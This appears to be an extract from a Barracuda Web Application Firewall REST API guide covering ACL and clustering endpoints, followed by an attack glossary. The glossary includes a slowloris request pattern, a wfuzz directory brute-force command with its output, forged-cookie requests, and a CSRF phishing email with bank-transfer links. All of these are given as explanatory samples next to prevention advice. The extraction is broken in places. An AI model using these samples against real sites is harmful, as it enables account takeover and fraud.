if action or deny_response is
set to temporary_redirect or pe
rmanent_redirect . It can be a
fully qualified URL (like http://ww
w.example.com/index.html) or a
full path (like /index.html).
Example:
Request:
curl http://10.11.25.233:8000/restapi/v1/virtual_services/HTTP1/url_adrs -u
'eyJldCI6IjE0NDY1MzgyOTEiLCJwYXNzd29yZCI6IjI4MmZjMDZiZWM5MTkxNDEzYWIzM2U1YTUw\nZGRjNzU3IiwidXNlciI6ImFk
bWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":
"url_test1","host_match":"*","url_match":"/index.html","extended_match":"*","response_page":"default"}'
Response:
{"id":"url_test1","token":"eyJldCI6IjE0NDY1NDEyNjMiLCJwYXNzd29yZCI6ImM4NWI3MTdiYTkyYmY2NTNhZjgzNjZhYWU4\nNTNj
OGE5IiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve URL ACL Rules
URL: /v1/virtual_services/{virtual_service_id}/{url_adr_id}
Method: GET
Description: Lists all URL ACLs if “url_adr_id” is not specified.
Input Parameters:


Example 1:
Request:
curl http://10.11.25.233:8000/restapi/v1/virtual_services/HTTP1/url_adrs -u
Response:
{"parameters":null,"object":"URL: Allow/Deny
Rules","data":[{"enable":"on","extended_match_sequence":"1","name":"url_test1","deny_response":"response_page","comments":"
","host_match":"*","extended_match":"*","response_page":"default","url_match":"/index.html","redirect_url":"","action":"process","id"
:"url_test1"}],"limit":null,"service_id":"HTTP1","token":"eyJldCI6IjE0NDY1NDEzNjAiLCJwYXNzd29yZCI6ImEzNWM3MjE3ZTU4Njlj
MzU0NmRmNmZmNTY2\nMjIxMjFjIiwidXNlciI6ImFkbWluIn0=\n","offset":null}
Example 2:
Request:
curl http://10.11.25.234:8000/restapi/v1/virtual_services/HTTP1/url_adrs/url_test1 -u
'eyJldCI6IjE0NDI1NDg4MjAiLCJwYXNzd29yZCI6Ijc0MmVlN2UxNmJlNTY5MDQ1N2ZhY2M0ZTE3\nYjM1Y2E4IiwidXNlciI6ImFkb
Response:
{"enable":"on","extended_match_sequence":"1","name":"url_test1","deny_response":"response_page","comments":"","host_match"
:"*","extended_match":"*","response_page":"default","url_match":"/index.html","redirect_url":"","action":"process","id":"url_test1","to
ken":"eyJldCI6IjE0NDI1NDkxMDQiLCJwYXNzd29yZCI6IjJjYzlkMGFlYTFhNmYyYjI2OGMxMTczMzBj\nZTEzMDAzIiwidXNlciI6ImF
kbWluIn0=\n"}
To Update a URL ACL Rule
URL: /v1/virtual_services/{{virtual_service_id}/url_adrs/{url_adr_id}
Method: PUT
Description: Updates a URL ACL rule with the given values.
Input Parameters:
enable String Optional Apply the URL ACL rule to the

on
off
host_match Alphanumeric Optional A host name to be matched

against the host in the request.
extended_match String Optional An expression that consists of a



requests.


request matching the URL. The
redirect
deny_and_log
allow
deny_with_no_log
process
deny_response Enumeration Optional The response to be sent to the

client if the request is denied. A
deny response is used when the
action is set to "deny_and_log”
or “deny_with_no_log”. The
response_page
reset
permanent_redirect
temporary_redirect
response_page Enumeration Optional The response page to be sent to

the client, if “deny_response” is
set to "response_page". The
default
default-virus
default-error-resp
age
ror-page
age
ror-page
redirect_url Alphanumeric Optional The URL to redirect the request

if action or deny_response is
set to temporary_redirect or pe
rmanent_redirect . It can be a
fully qualified URL (like http://ww
w.example.com/index.html) or a
full path (like /index.html).
Example:
Request:
'eyJldCI6IjE0NDIxOTA5MzYiLCJwYXNzd29yZCI6IjdlMGExNjc4MDA2MTkxMmE2ZjA2MjE4NmVi\nNzc0ZWQ1IiwidXNlciI6ImFkb
WluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"url_match":"/index1.html","host_match":"a.com"}'
Response:
{"id":"url_test1","token":"eyJldCI6IjE0NDIxOTExMzQiLCJwYXNzd29yZCI6IjdlM2ZiYzk2YzNhZTRlZjlkYjRiY2Y1OGE0\nZGQ1ZWRj
To Delete a URL ACL Rule
URL: /v1/virtual_services/{virtual_service_id}/url_adrs/{url_adr_id}
Method: DELETE
Description: Deletes the given URL ACL rule.

Example:
Request:
Response:
deleted","token":"eyJldCI6IjE0NDY1NDE3MDYiLCJwYXNzd29yZCI6ImJlZDJhMmE1ZWJiZWE1NTdkMjNjYzMyZWNk\nYzA5YmR
iIiwidXNlciI6ImFkbWluIn0=\n"}
To Add a Header ACL
URL: /v1/virtual_services/{virtual_service_id}/header_adrs
Method: POST
Description: Creates a header ACL rule with the given values.
Input Parameters:
name Alphanumeric Yes A name for the header ACL.
header_name Alphanumeric Yes Name of the header to be

matched in the request.
status String Optional Apply the Header ACL rule to the

on
off
mode String Optional The mode to determine how the


events.
events.
max_header_value_length Numeric Optional Maximum allowable length for

the header.
denied_metachars String Optional Meta-characters to be denied in

the request header value.
Example:
Request:
curl http://10.11.25.233:8000/restapi/v1/virtual_services/HTTP1/header_adrs -u
bWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name": "test2","header_name":"test2"}'
Response:
{"id":"test2","token":"eyJldCI6IjE0NDY1NDAzNzkiLCJwYXNzd29yZCI6Ijc5ZjNiNmNmZGM2ODc3MmMwMGI5MGE4ZDc5\nNWVl
ODFlIiwidXNlciI6ImFkbWluIn0=\n"}

To Retrieve Header ACL
URL: /v1/virtual_services/{virtual_service_id}/{header_adr_id}
Method: GET
Description: Lists all header ACLs if “header_adr_id” is not specified.

Example 1:
Request:
curl http://10.11.25.233:8000/restapi/v1/virtual_services/HTTP1/header_adrs -u
Response:
{"parameters":null,"object":"URL: Allow/Deny
Rules","data":[{"denied_metachars":"%00%04%1b%08%7f","mode":"ACTIVE","status":"on","name":"test1","header_name":"prashu
1","id":"test1","comments":null,"max_header_value_length":"512"},{"denied_metachars":"%00%04","mode":"PASSIVE","status":"on
","name":"test2","header_name":"test2","id":"test2","comments":"test","max_header_value_length":"4"}],"limit":null,"service_id":"HT
TP1","token":"eyJldCI6IjE0NDY1NDA3MjkiLCJwYXNzd29yZCI6IjU0ZTc3ZDRiMjZjNGQxYmM4YzFjM2Y4NjAy\nNDJhMjdkIiwidXN
lciI6ImFkbWluIn0=\n",
Example 2:
Request:
curl http://10.11.25.234:8000/restapi/v1/virtual_services/HTTP1/header_adrs/test1 -u
Response:
{"mode":"ACTIVE","status":"on","name":"test1","header_name":"test1","comments":null,"max_header_value_length":"512","blocked
_attack_types":[],"denied_metachars":"%00%04%1b%08%7f","custom_blocked_attack_types":[],"id":"test1","token":"eyJldCI6IjE0N
DI1NDk4MzUiLCJwYXNzd29yZCI6IjdlYjQ0MTNlMjNhYTY1NmIxZGRjNGY1MzQy\nODdlZDc4IiwidXNlciI6ImFkbWluIn0=\n"}
To Update a Header ACL
URL: /v1/virtual_services/{virtual_service_id}/header_adrs/{header_adr_id}
Method: PUT
Description: Updates a header ACL with the given values.
Input Parameters:
status String Optional Apply the Header ACL rule to the

on
off

mode String Optional The mode to determine how the


events.
events.
max_header_value_length Numeric Optional Maximum allowable length for

the header.
denied_metachars String Optional Meta-characters to be denied in

the request header value.
blocked_attack_types String Optional Attack types that needs to be

matched with the values of the
specified header. The values
include:
ldap_injection
directory_traversal
directory_traversal_strict
apache_struts_attacks
sql_injection
ct
python_php_attacks
http_specific_attacks
custom_blocked_attack_types String Optional Custom attack types to be

matched with the values of the
specified header.
Example 1:
Request:
bWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d
'{"max_header_value_length":"4","comments":"test","mode":"PASSIVE","denied_metachars":"%00%04"}'
Response:
{"id":"test2","token":"eyJldCI6IjE0NDY1NDA0NzEiLCJwYXNzd29yZCI6IjJhYTRhZDgwY2MwMTI2MDY2YTcyMDcxZDRk\nMzBlZT
hjIiwidXNlciI6ImFkbWluIn0=\n"}

Example 2:
Request:
WluIn0=\n:admin' -X PUT -H Content-Type:application/json -d
'{"max_header_value_length":"4","comments":"test","mode":"PASSIVE","denied_metachars":"%00%04","custom_blocked_attack_t
ypes":["barr"],"blocked_attack_types":["remote_file_inclusion","cross_site_scripting"]}'
Response:
{"id":"test1","token":"eyJldCI6IjE0NDI1NjE4NzkiLCJwYXNzd29yZCI6IjUyZWQxYWMzNzdjNzU2NGE2YzM1MDY4YTUw\nODQxZj
dkIiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Header ACL
URL: /v1/virtual_services/{virtual_service_id}/header_adrs/{header_adr_id}
Method: DELETE
Description: Deletes the given header ACL.
Example:
Request:
Response:
deleted","token":"eyJldCI6IjE0NDY1NDA4MjQiLCJwYXNzd29yZCI6ImVmZmQwNDA5M2IyNWMxYjQzOGJlZDdhMDhk\nMGRlO
WRiIiwidXNlciI6ImFkbWluIn0=\n"}

Clustering
If you want to cluster two or more Barracuda Web Application Firewalls, the following three API’s should be executed.
1. Add Shared Secret to the First Unit/Node

2. Retrieve Cluster Details from the First Unit/Node
3. Add the Second Unit/Node to the First Unit/Node
To Add Shared Secret to the First Node
URL: /v1/system
Method: POST
Description: Adds shared secret to the first node.
Input Parameters:
cluster_shared_secret Alphanumeric Yes Passcode to prevent

unauthorized systems from
accessing cluster information. All
Firewalls in a cluster must have
the same shared secret.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/system -u 'eyJldCI6IjEzNzk0OTUxOTgiLCJwYXNzd29yZCI6ImZiODljYjIyOWE5MzcyNTBi

NTRkZDNmOTg3\nYmIwMzBkIiwidXNlciI6ImFkbWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"cluster_shared
_secret":"12345"}'
Response:
{"msg":"Configuration Updated","token":"eyJldCI6IjEzODAyMzA4NzciLCJwYXNzd29yZCI6IjJhM2QxZGI5MzcyNjFjNTQzNDEwNG
EyMGJl\nNTRlZTY2IiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Cluster Shared Secret
URL: /v1/system
Method: GET
Description: Retrieves the passcode of the given unit.
Input Parameters:
parameters Alphanumeric Yes The parameter name (cluster_s

hared_secret) that needs to be
retrieved.

Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/system -u
'eyJldCI6IjEzODY0MzA4MTQiLCJwYXNzd29yZCI6ImMzZTkxZjU5YTRiNDgxMTUxZTFlZGJmODBj\nYzY1Zjc2IiwidXNlciI6ImFkb
WluIn0=\n:admin' -X GET -G -d parameters=cluster_shared_secret
Response:
{"token":"eyJldCI6IjEzODY0MzA4MzYiLCJwYXNzd29yZCI6IjM3NzkwMzBiZmQxYWYyNmE5MDA5MGJjZTE5\nMDcyYTI5IiwidXN
lciI6ImFkbWluIn0=\n","cluster_shared_secret":"123456"}
To Retrieve Cluster Details from the First Node
URL: /v1/system
Method: GET
Description: Retrieves cluster information such as System IP, Shared Secret and Serial Number from the first node.
Example 1:
Request:
'eyJldCI6IjEzODY0MzA4MzYiLCJwYXNzd29yZCI6IjM3NzkwMzBiZmQxYWYyNmE5MDA5MGJjZTE5\nMDcyYTI5IiwidXNlciI6ImFk
Response:
{"token":"eyJldCI6IjEzODY0MzA5NDkiLCJwYXNzd29yZCI6IjFmZThmNWQ4NWNiYmQ1ZDU2ZGM3NzU3NzNk\nOGFlY2U2Iiwid
XNlciI6ImFkbWluIn0=\n","system_serial":"477393","cluster_shared_secret":"123456","system_ip":"10.11.19.104"}
Example 2:
Request:
'eyJldCI6IjEzODY0MzA4MzYiLCJwYXNzd29yZCI6IjM3NzkwMzBiZmQxYWYyNmE5MDA5MGJjZTE5\nMDcyYTI5IiwidXNlciI6ImFk
bWluIn0=\n:admin' -X GET -G -d parameters=system_ip
Response:
{"token":"eyJldCI6IjEzODY0MzEwNjkiLCJwYXNzd29yZCI6IjAyM2FkMmVlNmUyZmY1NGI1NDA4M2M2ZTAz\nMjM2NmNlIiwidXNl
ciI6ImFkbWluIn0=\n","system_ip":"10.11.19.104"}
To Add a Second Node to the First Node
This REST API should be executed only when the Barracuda Web Application Firewall Vx is deployed on Microsoft Windows Azure.
URL: /v1/system/configuration_cluster
Method: POST
Description: Adds second node to the first node.
Input Parameters:
remote_cluster_shared_secret Alphanumeric Yes The passcode specified in clust

er_shared_secret of the first
node.

remote_system_serial Alphanumeric Yes The serial number of the first

node.
remote_system_ip Numeric Yes The WAN (system) IP address of

the first node.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/system/configuration_cluster -u 'eyJldCI6IjEzNzk0OTUxOTgiLCJwYXNzd29yZCI6ImZiODlj

YjIyOWE5MzcyNTBiNTRkZDNmOTg3\nYmIwMzBkIiwidXNlciI6ImFkbWluIn0=\n:admin' -X POST -H Content-Type:application/json
-d '{"remote_cluster_shared_secret":"abcdef","remote_system_serial":"123456","remote_system_ip":"10.11.11.11"}'
Response:
Updated","token":"eyJldCI6IjEzODAyMzE2NjYiLCJwYXNzd29yZCI6ImY1YmNlYjkxY2ZmMTdmYzBiZTZlMDExMWY3\nMDE3M2I
wIiwidXNlciI6ImFkbWluIn0=\n"}
To add more nodes, perform ONLY step 2 and 3.
To Retrieve Details of Clustered Nodes
URL: /v1/system/configuration_cluster
Method: GET
Description: Lists all nodes that are in cluster with this unit.
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/system/configuration_cluster -u
'eyJldCI6IjEzODY0MzE5OTUiLCJwYXNzd29yZCI6ImVhYTA1ZmFlMjkyN2FhNjk2NThiMDUxNDZk\nNGM4NWNlIiwidXNlciI6ImFk
Response:
{"parameters":null,"object":"ConfigurationCluster","data":[{"system_mode":"Active","id":"10.11.19.104","system_serial":"477393","sy
stem_ip":"10.11.19.104"},{"system_mode":"Active","id":"10.11.25.190","system_serial":"477395","system_ip":"10.11.25.190"}],"limit
":null,"token":"eyJldCI6IjEzODY0MzIwMjciLCJwYXNzd29yZCI6IjA1MDJjM2QzMWQ4ODc1MjFiN2Y5NWI1MzBi\nMWM4MmE0Iiwi
dXNlciI6ImFkbWluIn0=\n","offset":null}
Example 2:
Request:
curl http://10.11.19.104:8000/restapi/v1/system/configuration_cluster -u
'eyJldCI6IjEzODY0MzE5OTUiLCJwYXNzd29yZCI6ImVhYTA1ZmFlMjkyN2FhNjk2NThiMDUxNDZk\nNGM4NWNlIiwidXNlciI6ImFk
bWluIn0=\n:admin' -X GET -G -d parameters=system_ip
Response:
parameters":["system_ip"],"object":"ConfigurationCluster","data":[{"system_ip":"10.11.19.104"},{"system_ip":"10.11.25.190"}],"limit":
null,"token":"eyJldCI6IjEzODY0MzI0NjMiLCJwYXNzd29yZCI6IjM2NDE0M2M4NzM3MDhlZmFiOWZkZjRlNjky\nOGNiOTU4IiwidX
NlciI6ImFkbWluIn0=\n","offset":null}
To Delete a Node from the Cluster
URL: /v1/system/configuration_cluster/{remote_serial}

Method: DELETE
Description: Deletes the node of the given serial number from the cluster.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/system/configuration_cluster/354425 -u
'eyJldCI6IjEzODQ1NDE4ODUiLCJwYXNzd29yZCI6IjEwZDgzMGI5ZmQ5OTExYmYwYTIxNWIzYzJm\nZDZiZDdjIiwidXNlciI6ImFk
Response:
Updated","token":"eyJldCI6IjEzODQ1NDE4OTEiLCJwYXNzd29yZCI6ImZkZDEyMjc5Nzg3MzlhNzE4YWE1NDhkZjYw\nZTQ1NGR
iIiwidXNlciI6ImFkbWluIn0=\n"}

Status Codes and Error Responses
The following are the successful status codes returned in the REST API response:
Code Description
200 Success
201 Created
202 Accepted
The following are the fault (error) codes returned in the REST API response:
Code Error Message (Fault String)
400 Invalid Request
401 Authentication Failed
404 Not Found
405 Method Not Allowed
415 Invalid Post Data
500 Error

Glossary
In this Section:
Application Distributed Denial-of-Service (DDoS) Attack

Brute Force Attack
Cookie Replay Attack
Cross-Site Request Forgery
Cross-Site Scripting Attack
Directory Traversal Vulnerability
Forceful Browsing Attack
Remote File Inclusion Vulnerability
Session Replay Attack
SQL Injection Attack

Application Distributed Denial-of-Service (DDoS) Attack
Description
Effects
Method
Example
Prevention
See Also
Description
A Distributed Denial-of-Service (DDoS) attack attempts to make a server or network resource unavailable to legitimate users by flooding it with
overwhelming traffic from multiple sources. In network layer DDoS attacks, the network pipes get fully clogged, making the network unavailable.
In Application Layer DDoS attacks, the network remains available, but the application and server resources, such as CPU, memory or disk space,
are exhausted.
Since intermediate security devices can easily blacklist IP addresses, DDoS attacks require the attacker to build a network of computers to
generate traffic to overwhelm the targeted server from multiple different IP addresses. The network, called a “botnet,” is created by exploiting
vulnerabilities in PCs via drive-by-downloads, phishing, spear phishing or other attacks. The compromised computers (called "zombies") can be
controlled remotely by the attacker and used as a legion to launch an attack against any target resource.
DDoS attacks can be categorized into three types:
Volumetric Attacks - Volumetric DDoS attacks saturate the bandwidth of the attacked website, leaving applications and services
nonfunctional with no available bandwidth to utilize. Volumetric attacks are Layer 3 / 4 / 7 DDoS attacks that target the network, transport
and application layers in the OSI Model. These attacks include: UDP floods, ICMP floods, high bandwidth web traffic from bots, etc.
Protocol Attacks – Protocol attacks consume the actual server resources, or connection state tables that are present in load balancers,
firewalls, application servers and other infrastructure components. Protocol attacks include: SYN floods, Ping of Death, fragmented
packets attack, etc.
Application Attacks – Application attacks overload specific aspects/elements of an application or service. These attacks can be
effective with a single attacking machine generating a low traffic rate, where the traffic resembles legitimate website traffic, making them
difficult to detect and mitigate. Application attacks are also known as Layer 7 attacks. These attacks include: Slowloris, R-U-Dead-Yet
(RUDY), Apache Range Header attack, etc.
Effects
If these attacks succeed at overloading the system with high traffic volume and consuming critical resources such as bandwidth, disk storage,
CPU memory, database connections, etc., the attacker can prevent legitimate users from using the system, When the business and brand
depend on the Internet, an extended downtime could be very costly. E-criminals commonly demand ransom to stop DDoS attacks. Hacktivists
and cyber terrorists, on the other hand, normally indulge in DDoS attacks as a revenge for perceived injustice or to garner publicity.
Method
For application layer DDoS attacks, bots can be designed to send/receive slow HTTP/HTTPS requests by slowly sending only part of an
HTTP/HTTPS request. For example:
HTTP Headers
HTTP Content
URL Parameters
Because these requests appear legitimate, they avoid triggering protocol timeouts, and are hard to detect.
Example
DDoS attack sending slow HTTP Request Slow Header/Slow Content:
=============================================
Slow Header:
POST /index.html HTTP/1.0
Content-Length: 5
Header1: Value1
[sleep for few seconds]

Header1: Value1
...
Slow Content:
POST /index.html HTTP/1.0
Content-Length: 5000
B [sleep for few seconds] a [sleep for few seconds] r [sleep for few seconds] r [sleep for few seconds] a [sleep for few seconds] c [sleep for few
seconds] u [sleep for few seconds] d [sleep for few seconds] a [sleep for few seconds] .....
Prevention
Slowloris or RUDY attacks are difficult to detect, because they are legitimate requests to the server. At times, genuine requests from real users
are slow. The Barracuda Web Application Firewall has the capability to detect and prevent Slowloris attacks, using an advanced slowloris
detection algorithm, and recognize the pattern of slow requests/responses from attackers, preventing it from degrading web application
performance.
See Also
CWE 941, CWE 400, OWASP

Brute Force Attack
Description
Indications of a brute-force attack:
Effects
Example
Prevention
Tags
See Also
Description
Brute force attack is a technique used to explore an unknown value by systematically trying every key combination to gain access to the targeted
resource. In the context of web applications, such attacks appear as a volley of HTTP requests that successively cycle through a user input value
till the “right” value is hit. This value could be a GET or POST parameter, usernames and passwords, URL paths or header values. Such attacks
are carried out using automated tools and scripts that try every possible character combination to explore the value that is sought.
Attackers often make use of the fact that invalid inputs to web applications yield a different page than valid values. For example, an invalid
username could yield one error message and an invalid password could yield another and a successful login yields a totally different page. An
attacker can then write a script that cycles through username values till the error message is “invalid user”. When the error changes to “invalid
password” the attacker can identify a valid username, and then proceed to cycle through passwords for that valid username, until the correct
password is hit.
The other weakness that facilitates this attack is the lack of a policy to enforce a maximum attempt count to access a particular resource.
Apart from targeting login credentials, a brute force attack could also be used for guessing hidden pages or content, session ID values, one time
passcodes, credit card numbers and even reversing cryptographic hash functions.
As brute force attacks from a single client could be easy to spot and block, attackers frequently use multiple attack sources that try to attack the
web application in concert.
Due to this, a common by-product of brute force attacks is resource exhaustion on the server that could degrade the quality of service to genuine
client.
Indications of a brute-force attack:
Since brute force attacks require trial and error of a large set of values, the most common indicator is an unusual volume of failed requests. When
a parameter is being attacked (like username) then the requests are all to the same page. If the attacker is trying to find hidden pages, then each
request would be different but the server response codes will be 404: Page Not Found.
Effects
A successful brute-force attack can:
Leak confidential and private data (example: user’s profile data, bank details, financial status, etc.).
Leak hidden files or interfaces (example: admin interface).
Disrupt the service if the service is DoS’ed.
If the attackers succeed in gaining access to administrative panels they can modify/delete/add web application content, modify user privileges,
etc.
Example
Brute-force attack to identify a URL in a web application:
The attacker uses a word list of known pages to execute brute-force attack on a web application. In the example below, the attacker tries
brute-force attack on a popular content management system. The attacker sends request to each known page and then analyzes the HTTP
response code to determine if the requested page exists on the target server.
[root@localhost wfuzz-2.1-beta]# python wfuzz.py -c -z file,wordlist/general/common.txt --hc 404 http://X.X.X.X/FUZZ
********************************************************
* Wfuzz 2.1 - The Web Bruteforcer *
********************************************************
Target: http://X.X.X.X/FUZZ
Total requests: 950

==================================================================
ID Response Lines Word Chars Request
==================================================================
00213: C=200 2L 1W 8 Ch "default"
00457: C=301 7L 20 W 239 Ch "lost%2Bfound"
00472: C=301 7L 20 W 235 Ch "manual"
00584: C=301 7L 20 W 235 Ch "portal"
00759: C=200 828 L 2150 W 1275626 Ch "script"
00783: C=301 7L 20 W 233 Ch "test"
Total time: 19.71608
Processed Requests: 950
Filtered Requests: 944
Requests/sec.: 48.18401
Prevention
Brute-force attacks are difficult to stop completely, but with proper countermeasures and carefully designing the website it is possible to limit
these attacks. For securing login pages, the following measures can be used to defend against brute-force attacks:
Enforcing long and secure passwords.

Limiting the number of failed login attempts, and blocking users who attempt to login using different passwords within a short period of
time, though this could end up blocking genuine users, if attackers use their usernames too many times in failed login attempts.
Challenging suspicious requests with CAPTCHA or other challenges to prevent automated attacks.
The Barracuda Web Application Firewall allows you to restrict the maximum attempts to access resources in a given time window. The counting
can be done per source IP or across all sources. When clients violate the access policy, they can be either presented with a CAPTCHA to prove
they are humans and not scripts or locked out for a custom time period.
Tags
OWASP Top 10, PCI-DSS
See Also
CWE 307, CWE 799, OWASP, WASC

Cookie Replay Attack
Description
Effects
Methods
Examples
Prevention
Description
A cookie replay attack occurs when an attacker steals a valid cookie of a user, and reuses it to impersonate that user to perform fraudulent or
unauthorized transactions/activities.
Effects
Once an attacker steals a cookie, he can effectively impersonate the user as long as the cookie remains valid. The attacker can do anything that
the user can within his or her account.
Methods
Cookies can be stolen in transmit or at the client endpoints. The former is usually the case when SSL is not being used and a man-in-the-middle
is able to snoop on the traffic. Cookies can also be stolen directly from the client machines using a secondary vector like XSS, malware etc.
Examples
There are many ways session hijacking can be performed:
Example 1: Using the session cookies issued to the user by the server.
For example, if there is a social networking site with a valid user logged-in, and the server has issued a session cookie “SESSION-ID” to the user.
If the SESSION-ID is the cookie that identifies the session of the user, the attacker can use the SESSION-ID cookie value to login as the valid
user.
The attacker can perform a cross-site scripting or other technique to steal the cookie from the victim’s browser. Let’s assume the attacker steals
the cookie SESSION-ID=User-abc-logged-in-2341785645. Now, he can use the cookie with the following request to post a status (I am
hacked!!!!!!) in the victim’s home page:
POST /home/post_status.php HTTP/1.1
Host: www.social-site.com
Cookie: SESSION-ID=User-abc-logged-in-2341785645
Content-Length:38
Content-Type:application/x-www-form-urlencoded
Status=I am hacked!!!!!!&Submit=submit
The attacker uses the cookie issue to the authorized user, and gains control on the user’s session.
In this example, the server failed to check the client IP address and browser information in the request, which led to cookie and session hijacking.
Example 2: Guessing the cookie values of users if a complicated algorithm is not used for the cookie generation
For example, consider a social networking website (www.socialnetworking-site.com) uses an algorithm to generate cookies for the users. If the
user name is “John”, then the cookie generated for the user could be “LOGINID=1322015-iknpgimo”. In this case, the algorithm used to generate
the cookie can be as follows: first part of the cookie is the date i.e. 13/2/2015, and second part is the combination of the previous and following
alphabet letter for each letter of the username “John” (i.e., the previous letter for J is “I” and the following letter is “k”). If the attacker is able to
crack the algorithm, he could guess the cookie of users and hack their session.
If the hacker plans to hack the session of Albert, he can create a cookie as LOGINID =1322015-zbkmacdfqssu, login to Albert’s session and post
a status on his account.

POST /Status/post.asp HTTP/1.1
Host: www.another-social-site.com
Cookie:LOGINID =1322015-zbkmacdfqssu
Content-Length:45
Content-Type:application/x-www-form-urlencoded
Todays_status=I am hacked!!!!!!&Submit=submit
Prevention
To mitigate cookie replay attacks, a web application should:
Invalidate a session after it exceeds the predefined idle timeout, and after the user logs out.
Set the lifespan for the session to be as short as possible.
Encrypt the session data.
Have a mechanism to detect when a cookie is seen from multiple clients
You can prevent cookie replay attacks by configuring "Cookie Protection" policies on the Barracuda Web Application Firewall. Among other
things, it can also detect when a cookie is seen from multiple IP addresses and allows mitigating controls when this happens.

Cross-Site Request Forgery
Description
Effects
Methods (Input Vectors)
Example
Prevention
Tags
See Also
Description
Cross-Site Request Forgery (CSRF) is a confused deputy attack in which a website acts on a request that an authenticated client has
unknowingly initiated, often as a result of accessing a malicious website or image from a different tab in the same browser session. The malicious
site assumes that the user is already authenticated to the target server and embeds hidden links in the targeted pages. When the victim’s
browser tries to fetch these links from the target server, it automatically adds authentication tokens like cookies to the requests. Such attacks
typically aim at state changing requests like financial transactions or password or email address changes. The attacker does not receive
confirmation of success, since the website would not send any confirmation to the victim. But, by successfully making these state changes
without the victim even suspecting, the attacker can gain ongoing access to the victim's account.
Effects
Successful attacks forge a predictable request and embed it in an image tag or another hidden object so an unsuspecting authenticated user
invokes the request unaware that anything has happened. This can be accomplished by tricking users into visiting a malicious website, or just by
having them load or view a malicious image.
To succeed, the victim must currently be logged into the targeted website. CSRF attacks can execute any action the website allows the victim to
perform. The attacker must correctly guess all required fields in the request. When the request is properly formed to a website the victim is
currently authenticated on, the action appears to come from an authenticated "trusted" client, and the server happily complies with the request.
Typically, CSRF attacks focus on state-changing requests since confirmation goes to the authenticated user rather than to the attacker.
Methods (Input Vectors)
Any predictable request can be forged by an attacker and embedded in seemingly safe objects that an authenticated user may access. Because
of the low likelihood that a currently authenticated user would happen to access the malicious object, the best methods embed the request where
an authenticated user is most likely to encounter it, such as on a related website. But CSRF attacks are also achieved through misleading emails
with malicious links or invisible images with unexpected embedded URL requests on websites vulnerable to Cross-Site Scripting (XSS) attacks.
Example
An attack is considered a CSRF attack when a client, John is already authenticated to a web application and if is forced in some way to perform
an operation without his knowledge. The client can be fooled into performing these operations from different mediums i.e., a malicious website,
fake email, instant message, malicious blog etc. Below is an example of how John could be tricked into transferring money from his account to
the attackers’ account when he is already authenticated to the bank website.
Step 1 - John receives the ‘fake’ email below from the PlanTrip team (an attacker’s identity)

Step 2 - The attacker sends the above email to John by injecting the html code below.
<table width="35%" cellpadding="10">
<tr>
<td style="text-align:center;background:#f5dfa1;display:block"><font size="3">PlanTrip is introducing some new holiday

packages and some exciting offers specially for you.</font></td>
</tr>
</table>
<table width="20%">
<tr>
<td style="text-align:center;background:#4c649b"><a href="http://www.bank.com/accounts/?transfer.php&ToAccountNumber=

5555544444&Amount=100000" style="color:#3b5998;"><font size="5"><span style="color:white">View
Packages</span></font></a></td>
<td width="100"></td>
<td style="text-align:center;background:#4c649b"><a href="http://www.bank.com/accounts/?transfer.php&ToAccountNumber=

5555544444&Amount=100000" style="color:#3b5998;"><font size="5"><span style="color:white" >View
Offers</span></font></a></td>
</tr>
</table>
Step 3 - The code is written in such a way that if the ‘View Packages’ or ‘View Offers’ is clicked, an HTTP request is sent to the URL:
/accounts/?transfer.php&ToAccountNumber=5555544444&Amount=100000 of the www.bank.com website.
This shows that the attacker has taken the URL which would perform the money transfer and embedded it in the html code.
John would read the above email and find it exciting to know more about the packages and offers. Here, John is unaware that if he clicks the
‘View Packages’ or ‘View Offers’ he would transfer $100000 to the attacker’s account.
Prevention
OWASP recommends the Synchronizer Token Pattern for general protection against CSRF. This involves embedding or adding a random token
to forms and URLs that make their location unpredictable. These tokens should be tied to single-user sessions, be time sensitive and should be
generated using random number cryptography. This forms a “challenge token” mechanism that is expected by the server with each subsequent

client request. If the token is absent or incorrect, the server denies the request. Effectively, this renders the URLs very dynamic so that attackers
cannot predict their locations, thus mitigating CSRF. This is the primary mechanism used by the Barracuda Web Application Firewall to protect
against CSRF.
Another mechanism to mitigate CSRF is to check the referrer header which is hard to spoof in the context of CSRF attacks. If the referrer header
points to a suspicious domain, the request is denied. However, this requires either a whitelist of the “good” referrers or a blacklist of “bad”
referrers to be maintained, which can be tricky. Commonly, requests originating from the same domain or sub-domain as the protected one can
be considered secure. However, if there are other XSS or redirect vulnerabilities, such checks could be easily bypassed. Also, if the requests are
genuinely referred from other domains, such mechanisms could generate false positives.
Other mechanisms to mitigate CSRF include challenges such as CAPTCHA and URL encryption.
Tags
See Also
CWE-352, OWASP,, WASC

Cross-Site Scripting Attack
Description
Effects
Methods
Example
Prevention
Tags
See Also
Description
Cross-Site Scripting (XSS) is an injection type web vulnerability, which enables an attacker to inject malicious JavaScript or other client-side code
(e.g. VBScript, ActiveX, Flash, etc.) into web pages that are subsequently executed in the client’s browser (i.e. the user’s web browser). Client
browsers implicitly trust all server embedded or server linked scripts allowing them full access to the DOM in accordance with the same origin
policy.
Moreover, cross site scripting attacks can allow attackers to bypass access controls such as same origin policy. This means the JavaScript is
served from the compromised domain and can (surreptitiously) make HTTP requests to other third party domains. Attackers typically set up
domains to host browser based malware to further compromise the client browser, and through them their operating systems.
XSS attacks fall into three categories: Persistent/Stored XSS, Reflected XSS and DOM based XSS.
Persistent XSS attacks store malicious script on the web application server. Any user accessing the application becomes vulnerable to the script
executing in their browser.
Reflected XSS attacks, find a way to make a compromised server “echo back” a malicious script it receives in a request. An application which
receives user input in a request and renders it to a response without proper validation to filter, or sanitize the inputs could propagate malicious
JavaScript. If malicious script ends up in a response it may execute in the browser context. This is how Reflected XSS attacks are constructed.
Attackers devise URLs containing malicious JavaScript pointing to applications and enticing users to click on the URL (via emails, social
engineering or third party web sites). When the vulnerable server receives the request, it “reflects” the malicious JavaScript in the response and
